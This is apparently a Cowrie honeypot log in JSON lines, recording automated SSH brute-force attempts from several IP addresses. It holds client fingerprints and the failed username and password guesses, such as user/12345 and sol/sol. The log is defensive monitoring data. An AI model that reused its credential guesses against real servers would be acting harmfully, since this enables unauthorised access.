{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:04.403748Z","src_ip":"95.58.255.251","session":"e12eedf3b53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"search","password":"search123","message":"login attempt [search/search123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:05.121602Z","src_ip":"95.58.255.251","session":"e12eedf3b53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:06.296619Z","src_ip":"95.58.255.251","session":"e12eedf3b53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54704,"dst_ip":"159.203.135.109","dst_port":22,"session":"33e9fb860767","protocol":"ssh","message":"New connection: 2.57.122.238:54704 (159.203.135.109:22) [session: 33e9fb860767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:51.845572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:51.849162Z","src_ip":"2.57.122.238","session":"33e9fb860767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:51.952844Z","src_ip":"2.57.122.238","session":"33e9fb860767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:52.261526Z","src_ip":"2.57.122.238","session":"33e9fb860767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:20:53.374453Z","src_ip":"2.57.122.238","session":"33e9fb860767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":34544,"dst_ip":"159.203.135.109","dst_port":22,"session":"230e98568536","protocol":"ssh","message":"New connection: 103.231.14.54:34544 (159.203.135.109:22) [session: 230e98568536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:15.858136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:15.862277Z","src_ip":"103.231.14.54","session":"230e98568536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:16.097052Z","src_ip":"103.231.14.54","session":"230e98568536","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"site2030","password":"site20301234","message":"login attempt [site2030/site20301234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:16.777118Z","src_ip":"103.231.14.54","session":"230e98568536","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:18.012122Z","src_ip":"103.231.14.54","session":"230e98568536","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":54846,"dst_ip":"159.203.135.109","dst_port":22,"session":"46e64b9958a2","protocol":"ssh","message":"New connection: 189.217.130.86:54846 (159.203.135.109:22) [session: 46e64b9958a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:44.270892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:44.274587Z","src_ip":"189.217.130.86","session":"46e64b9958a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:44.351185Z","src_ip":"189.217.130.86","session":"46e64b9958a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wilson","password":"wilsonpass","message":"login attempt [wilson/wilsonpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:44.686798Z","src_ip":"189.217.130.86","session":"46e64b9958a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:21:45.765013Z","src_ip":"189.217.130.86","session":"46e64b9958a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":56138,"dst_ip":"159.203.135.109","dst_port":22,"session":"979f987bc0ea","protocol":"ssh","message":"New connection: 95.58.255.251:56138 (159.203.135.109:22) [session: 979f987bc0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:22:03.190103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:22:03.195332Z","src_ip":"95.58.255.251","session":"979f987bc0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:22:03.371417Z","src_ip":"95.58.255.251","session":"979f987bc0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simone","password":"simone","message":"login attempt [simone/simone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:22:04.104864Z","src_ip":"95.58.255.251","session":"979f987bc0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:22:05.282681Z","src_ip":"95.58.255.251","session":"979f987bc0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.231.14.54","src_port":32956,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fefc895d6c5","protocol":"ssh","message":"New connection: 103.231.14.54:32956 (159.203.135.109:22) [session: 4fefc895d6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:06.873559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:06.877689Z","src_ip":"103.231.14.54","session":"4fefc895d6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:07.103356Z","src_ip":"103.231.14.54","session":"4fefc895d6c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mobile","password":"Mobile123!","message":"login attempt [mobile/Mobile123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:08.059337Z","src_ip":"103.231.14.54","session":"4fefc895d6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:09.288054Z","src_ip":"103.231.14.54","session":"4fefc895d6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37074,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd55eec23c9","protocol":"ssh","message":"New connection: 2.57.122.238:37074 (159.203.135.109:22) [session: ddd55eec23c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:14.998962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:15.003616Z","src_ip":"2.57.122.238","session":"ddd55eec23c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:15.103113Z","src_ip":"2.57.122.238","session":"ddd55eec23c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:15.403461Z","src_ip":"2.57.122.238","session":"ddd55eec23c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:16.504281Z","src_ip":"2.57.122.238","session":"ddd55eec23c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.217.130.86","src_port":29182,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cf80a816c53","protocol":"ssh","message":"New connection: 189.217.130.86:29182 (159.203.135.109:22) [session: 8cf80a816c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:54.465847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:54.469620Z","src_ip":"189.217.130.86","session":"8cf80a816c53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:54.545557Z","src_ip":"189.217.130.86","session":"8cf80a816c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"wwwpass","message":"login attempt [www/wwwpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:54.893117Z","src_ip":"189.217.130.86","session":"8cf80a816c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:23:55.971261Z","src_ip":"189.217.130.86","session":"8cf80a816c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":58718,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cf572ce8c5a","protocol":"ssh","message":"New connection: 95.58.255.251:58718 (159.203.135.109:22) [session: 2cf572ce8c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:01.466921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:01.471439Z","src_ip":"95.58.255.251","session":"2cf572ce8c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:01.642484Z","src_ip":"95.58.255.251","session":"2cf572ce8c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:02.358206Z","src_ip":"95.58.255.251","session":"2cf572ce8c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:03.530945Z","src_ip":"95.58.255.251","session":"2cf572ce8c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":34740,"dst_ip":"10.17.0.5","dst_port":22,"session":"71bcb846cac0","protocol":"ssh","message":"New connection: 64.176.195.200:34740 (10.17.0.5:22) [session: 71bcb846cac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T22:24:48.639707Z"}
